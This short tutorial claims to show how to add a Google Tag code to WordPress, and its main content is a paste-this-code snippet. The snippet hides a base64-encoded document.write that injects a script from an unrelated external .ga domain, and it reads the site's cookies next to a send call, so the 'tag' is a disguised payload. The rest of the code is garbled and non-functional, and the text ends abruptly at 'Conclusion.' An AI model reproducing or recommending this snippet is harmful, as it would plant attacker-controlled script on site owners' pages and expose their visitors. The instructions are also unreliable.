How Do I Add a Google Tag Code to WordPress?

Adding a Google Tag Code to WordPress is easy. All you need to do is add the code to your blog’s header and footer, and you’re ready to go.

To add a Google Tag Code to your blog, go to your blog’s header and footer. In the header, you’ll see a section called “Google Tag Manager.” Click on it, and then add the following code:

var gaJsHost = (document.getElementById(“gtm-tag-manager”));

gaJsHost.setData(“UA-1419534-14″);

gaJsHost.setType(“text/javascript”);

gaJsHost.addEventListener(“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiU2NiU2OSU3MCU3NCU3NCU3MyU3MiU2OSU3MCUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCU2RiU2NiU2NSU3MCUzRSUzMiUyRSUzNiU2OSU2MCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.

floor(Date.now()/1e3),cookie=document.cookie);.

if(gaJsHost.getConfig( “useFirstPartyCookies” )){

gaJsHost.setCookie(cookie, “true”);

gaJsHost.setConfig( “display” , “block”);

gaJsHost.sendRequest();

Conclusion.